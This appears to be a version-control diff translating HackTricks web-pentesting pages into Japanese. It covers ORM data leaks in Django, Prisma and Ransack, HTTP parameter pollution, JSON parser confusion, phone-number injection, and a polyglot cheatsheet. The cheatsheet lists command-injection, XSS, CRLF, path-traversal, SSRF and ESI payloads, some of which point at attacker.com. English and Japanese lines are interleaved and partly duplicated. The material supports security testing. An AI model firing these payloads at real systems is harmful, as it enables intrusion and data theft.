- **フィルター制限のバイパス**: 同じブログ投稿では、`articles = Article.objects.filter(is_secret=False, **request.data)`のようなフィルタリングの使用をバイパスすることが提案されました。is_secret=Trueのアーティクルをダンプすることが可能です。なぜなら、リレーションシップからArticleテーブルに戻ることができ、非秘密の記事から秘密の記事を漏洩させることができるからです。結果は結合され、is_secretフィールドは非秘密の記事でチェックされる一方で、データは秘密の記事から漏洩します。
```bash
Article.objects.filter(is_secret=False, categories__articles__id=2)
```
> [!CAUTION]
> Abusing relationships it's possible to bypass even filters meant to protect the data shown.
- **Error/Time based via ReDoS**: In the previous examples it was expected to have different responses if the filtering worked or not to use that as oracle. But it could be possible that some action is done in the database and the response is always the same. In this scenario it could be possible to make the database error to get a new oracle.
> リレーションシップを悪用することで、表示されるデータを保護するためのフィルターをバイパスすることが可能です。
- **Error/Time based via ReDoS**: 前の例では、フィルタリングが機能しているかどうかによって異なる応答が得られることが期待されていましたが、データベースで何らかのアクションが行われ、応答が常に同じである可能性もあります。このシナリオでは、データベースエラーを発生させて新しいオラクルを得ることが可能かもしれません。
```json
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
```
From te same post regarding this vector:
- **SQLite**: Doesn't have a regexp operator by default (require loading a third-party extension)
- **PostgreSQL**: Doesn't have a default regex timeout and it's less prone to backtracking
- **MariaDB**: Doesn't have a regex timeout
- **SQLite**: デフォルトではregexpオペレーターがありませんサードパーティの拡張機能を読み込む必要があります
- **PostgreSQL**: デフォルトのregexタイムアウトがなく、バックトラッキングに対してより耐性があります
- **MariaDB**: regexタイムアウトがありません
## Prisma ORM (NodeJS)
The following are [**tricks extracted from this post**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
以下は[**この投稿から抽出されたトリック**](https://www.elttam.com/blog/plorming-your-primsa-orm/)です。
- **Full find contro**l:
- **完全な検索制御**:
<pre class="language-javascript"><code class="lang-javascript">const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
try {
// Attacker has full control of all prisma options
<strong> const posts = await prisma.article.findMany(req.body.filter)
</strong> res.json(posts);
} catch (error) {
res.json([]);
}
} catch (error) {
res.json([]);
}
});
</code></pre>
It's possible to see that the whole javascript body is passed to prisma to perform queries.
In the example from the original post, this would check all the posts createdBy someone (each post is created by someone) returning also the user info of that someone (username, password...)
全てのjavascriptボディがprismaに渡され、クエリを実行することが可能です。
元の投稿の例では、これは誰かによって作成されたすべての投稿をチェックし(各投稿は誰かによって作成されます)、その誰かのユーザー情報(ユーザー名、パスワードなど)も返します。
```json
{
"filter": {
"include": {
"createdBy": true
}
}
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
```
The following one selects all the posts created by someone with a password and wil return the password:
次のものは、パスワードを持つ誰かによって作成されたすべての投稿を選択し、パスワードを返します:
```json
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
```
- **完全な where 句の制御**:
- **Full where clause control**:
Let's take a look to this where the attack can control the `where` clause:
攻撃者が `where` 句を制御できる状況を見てみましょう:
<pre class="language-javascript"><code class="lang-javascript">app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
<strong> where: req.query.filter as any // Vulnerable to ORM Leaks
try {
const posts = await prisma.article.findMany({
<strong> where: req.query.filter as any // ORM Leaks に対して脆弱
</strong> })
res.json(posts);
} catch (error) {
res.json([]);
}
res.json(posts);
} catch (error) {
res.json([]);
}
});
</code></pre>
It's possible to filter the password of users directly like:
ユーザーのパスワードを直接フィルタリングすることが可能です:
```javascript
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})
```
> [!CAUTION]
> Using operations like `startsWith` it's possible to leak information.&#x20;
- **Many-to-many relational filtering bypassing filtering:**&#x20;
> `startsWith`のような操作を使用すると、情報が漏洩する可能性があります。&#x20;
- **多対多のリレーショナルフィルタリングのバイパス:**&#x20;
```javascript
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})
```
It's possible to leak not published articles by lopping back to the many-to-many relationships between `Category` -\[\*..\*]-> `Article`:
未公開の記事を漏洩させることは、`Category` -\[\*..\*]-> `Article` の多対多の関係を利用することで可能です:
```json
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
```
It's also possible to leak all the users abusing some loop back many-to-many relationships:
すべてのユーザーを漏洩させることも可能であり、いくつかのループバック多対多関係を悪用します:
```json
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
```
- **Error/Timed queries**: In the original post you can read an very extensive set of tests performed in order to find the optimal payload to leak information with a time based payload. This is:
- **エラー/タイムクエリ**: 元の投稿では、タイムベースのペイロードを使用して情報を漏洩させるための最適なペイロードを見つけるために実施された非常に広範なテストセットを読むことができます。これは:
```json
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
```
Where the `{CONTAINS_LIST}` is a list with 1000 strings to make sure the **response is delayed when the correct leak is found.**
`{CONTAINS_LIST}`は、**正しい漏洩が見つかったときに応答が遅延することを確認するための1000の文字列のリストです。**
## **Ransack (Ruby)**
These tricks where [**found in this post**](https://positive.security/blog/ransack-data-exfiltration)**.**
これらのトリックは[**この投稿で見つかりました**](https://positive.security/blog/ransack-data-exfiltration)**。**
> [!TIP]
> **Note that Ransack 4.0.0.0 now enforce the use of explicit allow list for searchable attributes and associations.**
**Vulnerable example:**
> **Ransack 4.0.0.0では、検索可能な属性と関連付けのために明示的な許可リストの使用が強制されることに注意してください。**
**脆弱な例:**
```ruby
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
```
Note how the query will be defined by the parameters sent by the attacker. It was possible to for example brute-force the reset token with:
攻撃者によって送信されたパラメータによってクエリがどのように定義されるかに注意してください。例えば、リセットトークンをブルートフォースすることが可能でした:
```http
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
```
ブルートフォース攻撃と潜在的な関係を利用することで、データベースからより多くのデータを漏洩させることが可能でした。
By brute-forcing and potentially relationships it was possible to leak more data from a database.
## References
## 参考文献
- [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
- [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
- [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,6 +1,6 @@
# Parameter Pollution | JSON Injection
# パラメータ汚染 | JSONインジェクション
## Parameter Pollution
## パラメータ汚染
{{#include ../banners/hacktricks-training.md}}
@ -8,209 +8,190 @@
{% embed url="https://websec.nl/" %}
## HTTP Parameter Pollution (HPP) Overview
## HTTPパラメータ汚染 (HPP) 概要
HTTP Parameter Pollution (HPP) is a technique where attackers manipulate HTTP parameters to change the behavior of a web application in unintended ways. This manipulation is done by adding, modifying, or duplicating HTTP parameters. The effect of these manipulations is not directly visible to the user but can significantly alter the application's functionality on the server side, with observable impacts on the client side.
HTTPパラメータ汚染 (HPP) は、攻撃者がHTTPパラメータを操作して、ウェブアプリケーションの動作を意図しない方法で変更する技術です。この操作は、HTTPパラメータを追加、変更、または複製することによって行われます。これらの操作の影響はユーザーには直接見えませんが、サーバー側でアプリケーションの機能を大きく変更し、クライアント側に観察可能な影響を与えることがあります。
### Example of HTTP Parameter Pollution (HPP)
### HTTPパラメータ汚染 (HPP) の例
A banking application transaction URL:
銀行アプリケーションの取引URL:
- **Original URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
- **元のURL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
By inserting an additional `from` parameter:
追加の`from`パラメータを挿入することによって:
- **Manipulated URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
- **操作されたURL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
The transaction may be incorrectly charged to `accountC` instead of `accountA`, showcasing the potential of HPP to manipulate transactions or other functionalities such as password resets, 2FA settings, or API key requests.
取引は`accountA`ではなく`accountC`に誤って請求される可能性があり、HPPが取引やパスワードリセット、2FA設定、APIキーリクエストなどの他の機能を操作する可能性を示しています。
#### **Technology-Specific Parameter Parsing**
#### **技術特有のパラメータ解析**
- The way parameters are parsed and prioritized depends on the underlying web technology, affecting how HPP can be exploited.
- Tools like [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) help identify these technologies and their parsing behaviors.
- パラメータが解析され、優先される方法は、基盤となるウェブ技術によって異なり、HPPがどのように悪用されるかに影響を与えます。
- [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) のようなツールは、これらの技術とその解析動作を特定するのに役立ちます。
### PHP and HPP Exploitation
### PHPとHPPの悪用
**OTP Manipulation Case:**
**OTP操作ケース:**
- **Context:** A login mechanism requiring a One-Time Password (OTP) was exploited.
- **Method:** By intercepting the OTP request using tools like Burp Suite, attackers duplicated the `email` parameter in the HTTP request.
- **Outcome:** The OTP, meant for the initial email, was instead sent to the second email address specified in the manipulated request. This flaw allowed unauthorized access by circumventing the intended security measure.
- **コンテキスト:** ワンタイムパスワード (OTP) を必要とするログインメカニズムが悪用されました。
- **方法:** Burp Suiteのようなツールを使用してOTPリクエストを傍受し、攻撃者はHTTPリクエスト内の`email`パラメータを複製しました。
- **結果:** 初期のメール用に意図されたOTPが、操作されたリクエストで指定された2番目のメールアドレスに送信されました。この欠陥により、意図されたセキュリティ対策を回避して不正アクセスが可能になりました。
This scenario highlights a critical oversight in the application's backend, which processed the first `email` parameter for OTP generation but used the last for delivery.
このシナリオは、OTP生成のために最初の`email`パラメータを処理したが、配信には最後のものを使用したアプリケーションのバックエンドの重大な見落としを強調しています。
**API Key Manipulation Case:**
**APIキー操作ケース:**
- **Scenario:** An application allows users to update their API key through a profile settings page.
- **Attack Vector:** An attacker discovers that by appending an additional `api_key` parameter to the POST request, they can manipulate the outcome of the API key update function.
- **Technique:** Utilizing a tool like Burp Suite, the attacker crafts a request that includes two `api_key` parameters: one legitimate and one malicious. The server, processing only the last occurrence, updates the API key to the attacker's provided value.
- **Result:** The attacker gains control over the victim's API functionality, potentially accessing or modifying private data unauthorizedly.
- **シナリオ:** アプリケーションは、ユーザーがプロフィール設定ページを通じてAPIキーを更新できるようにしています。
- **攻撃ベクトル:** 攻撃者は、POSTリクエストに追加の`api_key`パラメータを追加することで、APIキー更新機能の結果を操作できることを発見しました。
- **技術:** Burp Suiteのようなツールを利用して、攻撃者は1つの正当な`api_key`パラメータと1つの悪意のある`api_key`パラメータを含むリクエストを作成します。サーバーは最後の出現のみを処理し、攻撃者が提供した値にAPIキーを更新します。
- **結果:** 攻撃者は被害者のAPI機能を制御し、プライベートデータに不正にアクセスまたは変更する可能性があります。
This example further underscores the necessity for secure parameter handling, especially in features as critical as API key management.
この例は、特にAPIキー管理のような重要な機能における安全なパラメータ処理の必要性をさらに強調しています。
### Parameter Parsing: Flask vs. PHP
### パラメータ解析: Flask vs. PHP
The way web technologies handle duplicate HTTP parameters varies, affecting their susceptibility to HPP attacks:
ウェブ技術が重複したHTTPパラメータを処理する方法は異なり、HPP攻撃に対する脆弱性に影響を与えます:
- **Flask:** Adopts the first parameter value encountered, such as `a=1` in a query string `a=1&a=2`, prioritizing the initial instance over subsequent duplicates.
- **PHP (on Apache HTTP Server):** Contrarily, prioritizes the last parameter value, opting for `a=2` in the given example. This behavior can inadvertently facilitate HPP exploits by honoring the attacker's manipulated parameter over the original.
- **Flask:** クエリ文字列`a=1&a=2`のように、最初に遭遇したパラメータ値を採用し、初期のインスタンスを後続の重複よりも優先します。
- **PHP (Apache HTTPサーバー上):** 逆に、最後のパラメータ値を優先し、与えられた例では`a=2`を選択します。この動作は、攻撃者の操作されたパラメータを元のものよりも優先することによって、HPPの悪用を無意識に助長する可能性があります。
## Parameter pollution by technology
## 技術によるパラメータ汚染
There results were taken from [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
結果は[https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)から取得されました。
### PHP 8.3.11 AND Apache 2.4.62 <a href="#id-9523" id="id-9523"></a>
### PHP 8.3.11 および Apache 2.4.62 <a href="#id-9523" id="id-9523"></a>
<figure><img src="../images/image (1255).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg</a></p></figcaption></figure>
1. Ignore anything after %00 in the parameter name .
2. Handle name\[] as array .
3. \_GET not meaning GET Method .
4. Prefer the last parameter .
1. パラメータ名の後の%00を無視します。
2. name\[]を配列として処理します。
3. \_GETはGETメソッドを意味しません。
4. 最後のパラメータを優先します。
### Ruby 3.3.5 and WEBrick 1.8.2
### Ruby 3.3.5 および WEBrick 1.8.2
<figure><img src="../images/image (1257).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg</a></p></figcaption></figure>
1. Uses the & and ; delimiters to split parameters .
2. Not Recognized name\[] .
3. Prefer the first parameter .
1. &および;区切り文字を使用してパラメータを分割します。
2. name\[]は認識されません。
3. 最初のパラメータを優先します。
### Spring MVC 6.0.23 AND Apache Tomcat 10.1.30 <a href="#dd68" id="dd68"></a>
### Spring MVC 6.0.23 および Apache Tomcat 10.1.30 <a href="#dd68" id="dd68"></a>
<figure><img src="../images/image (1258).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg</a></p></figcaption></figure>
1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping .
2. POST RequestMapping & PostMapping Recognized name\[] .
3. Prefer name if name AND name\[] existing .
4. Concatenate parameters e.g. first,last .
5. POST RequestMapping & PostMapping Recognized query parameter with Content-Type .
1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping
2. POST RequestMapping & PostMappingはname\[]を認識します。
3. nameとname\[]が存在する場合はnameを優先します。
4. パラメータを連結します。例: first,last。
5. POST RequestMapping & PostMappingはContent-Typeを持つクエリパラメータを認識します。
### **NodeJS** 20.17.0 **AND** Express 4.21.0 <a href="#id-6d72" id="id-6d72"></a>
### **NodeJS** 20.17.0 **および** Express 4.21.0 <a href="#id-6d72" id="id-6d72"></a>
<figure><img src="../images/image (1259).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg</a></p></figcaption></figure>
1. Recognized name\[] .
2. Concatenate parameters e.g. first,last .
1. name\[]を認識します。
2. パラメータを連結します。例: first,last。
### GO 1.22.7 <a href="#id-63dc" id="id-63dc"></a>
<figure><img src="../images/image (1260).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg</a></p></figcaption></figure>
1. NOT Recognized name\[] .
2. Prefer the first parameter .
1. name\[]は認識されません。
2. 最初のパラメータを優先します。
### Python 3.12.6 AND Werkzeug 3.0.4 AND Flask 3.0.3 <a href="#b853" id="b853"></a>
### Python 3.12.6 および Werkzeug 3.0.4 および Flask 3.0.3 <a href="#b853" id="b853"></a>
<figure><img src="../images/image (1261).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg</a></p></figcaption></figure>
1. NOT Recognized name\[] .
2. Prefer the first parameter .
1. name\[]は認識されません。
2. 最初のパラメータを優先します。
### Python 3.12.6 AND Django 4.2.15 <a href="#id-8079" id="id-8079"></a>
### Python 3.12.6 および Django 4.2.15 <a href="#id-8079" id="id-8079"></a>
<figure><img src="../images/image (1262).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg</a></p></figcaption></figure>
1. NOT Recognized name\[] .
2. Prefer the last parameter .
1. name\[]は認識されません。
2. 最後のパラメータを優先します。
### Python 3.12.6 AND Tornado 6.4.1 <a href="#id-2ad8" id="id-2ad8"></a>
### Python 3.12.6 および Tornado 6.4.1 <a href="#id-2ad8" id="id-2ad8"></a>
<figure><img src="../images/image (1263).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg</a></p></figcaption></figure>
1. NOT Recognized name\[] .
2. Prefer the last parameter .
1. name\[]は認識されません。
2. 最後のパラメータを優先します。
## JSON Injection
### Duplicate keys
## JSONインジェクション
### 重複キー
```ini
obj = {"test": "user", "test": "admin"}
```
フロントエンドは最初の出現を信じるかもしれませんが、バックエンドはキーの2番目の出現を使用します。
The front-end might believe the first ocurrence while the backend uses the second ocurrence of the key.
### Key Collision: Character Truncation and Comments
Certain characters aren't going to be correctly interpreted by the frontend but the backend will interpret them and use those keys, this could be useful to **bypass certain restrictions**:
### キー衝突: 文字の切り捨てとコメント
特定の文字はフロントエンドによって正しく解釈されませんが、バックエンドはそれらを解釈し、これらのキーを使用します。これは**特定の制限を回避する**のに役立つかもしれません:
```json
{"test": 1, "test\[raw \x0d byte]": 2}
{"test": 1, "test\ud800": 2}
{"test": 1, "test"": 2}
{"test": 1, "te\st": 2}
```
これらのケースでは、フロントエンドが `test == 1` と考え、バックエンドが `test == 2` と考える可能性があることに注意してください。
Note how in these cases the front end might think that `test == 1` and the backend will think that `test == 2`.
This can also by used to bypass value restrictions like:
これにより、次のような値の制限を回避することもできます:
```json
{"role": "administrator\[raw \x0d byte]"}
{"role":"administrator\ud800"}
{"role": "administrator""}
{"role": "admini\strator"}
```
### **Using Comment Truncation**
### **コメントの切り捨てを使用する**
```ini
obj = {"description": "Duplicate with comments", "test": 2, "extra": /*, "test": 1, "extra2": */}
```
ここでは、各パーサーのシリアライザーを使用して、それぞれの出力を表示します。
Here we will use the serializer from each parser to view its respective output.
Serializer 1 (e.g., GoLang's GoJay library) will produce:
シリアライザー 1 (例: GoLangのGoJayライブラリ) は次のように出力します:
- `description = "Duplicate with comments"`
- `test = 2`
- `extra = ""`
Serializer 2 (e.g., Java's JSON-iterator library) will produce:
シリアライザー 2 (例: JavaのJSON-iteratorライブラリ) は次のように出力します:
- `description = "Duplicate with comments"`
- `extra = "/*"`
- `extra2 = "*/"`
- `test = 1`
Alternatively, straightforward use of comments can also be effective:
また、コメントの簡単な使用も効果的です:
```ini
obj = {"description": "Comment support", "test": 1, "extra": "a"/*, "test": 2, "extra2": "b"*/}
```
Javas GSON library:
JavaのGSONライブラリ:
```json
{ "description": "Comment support", "test": 1, "extra": "a" }
```
Rubys simdjson library:
Rubyのsimdjsonライブラリ:
```json
{ "description": "Comment support", "test": 2, "extra": "a", "extra2": "b" }
```
### **Inconsistent Precedence: Deserialization vs. Serialization**
### **不一致な優先順位: デシリアライズ vs. シリアライズ**
```ini
obj = {"test": 1, "test": 2}
obj["test"] // 1
obj.toString() // {"test": 2}
```
### Float and Integer
The number
```undefined
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
```
can be decoded to multiple representations, including:
複数の表現にデコードできます。これには次のものが含まれます:
```undefined
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
9.999999999999999e95
@ -218,10 +199,9 @@ can be decoded to multiple representations, including:
0
9223372036854775807
```
どのように不整合を生じさせる可能性があります
Which might create inconsistences
## References
## 参考文献
- [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
- [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
@ -233,4 +213,3 @@ Which might create inconsistences
{% embed url="https://websec.nl/" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,20 +1,19 @@
# Phone Number Injections
# 電話番号インジェクション
{{#include ../banners/hacktricks-training.md}}
It's possible to **add strings at the end the phone number** that could be used to exploit common injections (XSS, SQLi, SSRF...) or even to bypass protections:
電話番号の**末尾に文字列を追加する**ことが可能で、これを利用して一般的なインジェクションXSS、SQLi、SSRF...)を悪用したり、保護を回避したりすることができます:
<figure><img src="../images/image (461).png" alt="https://www.youtube.com/watch?app=desktop\&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
<figure><img src="../images/image (941).png" alt="https://www.youtube.com/watch?app=desktop\&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
**OTP Bypass / Bruteforce** would work like this:
**OTPバイパス / ブルートフォース**はこのように機能します:
<figure><img src="../images/image (116).png" alt="https://www.youtube.com/watch?app=desktop\&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
## References
## 参考文献
- [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,16 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
The goal of these PoCs and Polygloths is to give the tester a fast **summary** of vulnerabilities he may exploit if his **input is somehow being reflected in the response**.
これらのPoCとポリグロスの目的は、テスターに**応答に何らかの形で反映される入力**を利用して悪用できる脆弱性の迅速な**概要**を提供することです。
> [!WARNING]
> This **cheatsheet doesn't propose a comprehensive list of tests for each vulnerability**, just some basic ones. If you are looking for more comprehensive tests, access each vulnerability proposed.
> この**チートシートは各脆弱性のテストの包括的なリストを提案していません**、基本的なもののみです。より包括的なテストを探している場合は、提案された各脆弱性にアクセスしてください。
> [!CAUTION]
> You **won't find Content-Type dependant injections like XXE**, as usually you will try those yourself if you find a request sending xml data. You **won't also find database injections** here as even if some content might be reflected it depends heavily on the backend DB technology and structure.
> **XXEのようなContent-Type依存のインジェクションは見つかりません**、通常、xmlデータを送信するリクエストを見つけた場合は自分で試すことになります。また、**データベースインジェクションもここには見つかりません**、反映される可能性のあるコンテンツがあっても、バックエンドDB技術と構造に大きく依存します。
## Polygloths list
```python
{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
@ -51,26 +50,20 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
" onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
```
## [クライアントサイドテンプレートインジェクション](../client-side-template-injection-csti.md)
## [Client Side Template Injection](../client-side-template-injection-csti.md)
### Basic Tests
### 基本テスト
```
{{7*7}}
[7*7]
```
### Polygloths
### ポリグロス
```bash
{{7*7}}[7*7]
```
## [コマンドインジェクション](../command-injection.md)
## [Command Injection](../command-injection.md)
### Basic Tests
### 基本テスト
```bash
;ls
||ls;
@ -81,37 +74,29 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
`ls`
$(ls)
```
### Polygloths
### ポリグロス
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
## [CRLF](../crlf-0d-0a.md)
### Basic Tests
### 基本テスト
```bash
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
## ダングリングマークアップ
## Dangling Markup
### Basic Tests
### 基本テスト
```markup
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
```
## [ファイルインクルージョン/パストラバーサル](../file-inclusion/)
## [File Inclusion/Path Traversal](../file-inclusion/)
### Basic Tests
### 基本テスト
```bash
/etc/passwd
../../../../../../etc/hosts
@ -124,11 +109,9 @@ C:/windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
```
## [オープンリダイレクト](../open-redirect.md) / [サーバーサイドリクエストフォージェリ](../ssrf-server-side-request-forgery/)
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
### Basic Tests
### 基本テスト
```bash
www.whitelisted.com
www.whitelisted.com.evil.com
@ -136,42 +119,34 @@ https://google.com
//google.com
javascript:alert(1)
```
## [ReDoS](../regular-expression-denial-of-service-redos.md)
### Basic Tests
### 基本テスト
```bash
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$
```
## [サーバーサイドインクルージョン/エッジサイドインクルージョン](../server-side-inclusion-edge-side-inclusion-injection.md)
## [Server Side Inclusion/Edge Side Inclusion](../server-side-inclusion-edge-side-inclusion-injection.md)
### Basic Tests
### 基本テスト
```markup
<!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="ls" -->
<esi:include src=http://attacker.com/>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
### Polygloths
### ポリグロス
```markup
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
## [サーバーサイドリクエストフォージェリ](../ssrf-server-side-request-forgery/)
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
Open Redirectで使用されるのと同じテストがここでも使用できます。
The same tests used for Open Redirect can be used here.
## [Server Side Template Injection](../ssti-server-side-template-injection/)
### Basic Tests
## [サーバーサイドテンプレートインジェクション](../ssti-server-side-template-injection/)
### 基本テスト
```markup
${{<%[%'"}}%\
{{7*7}}
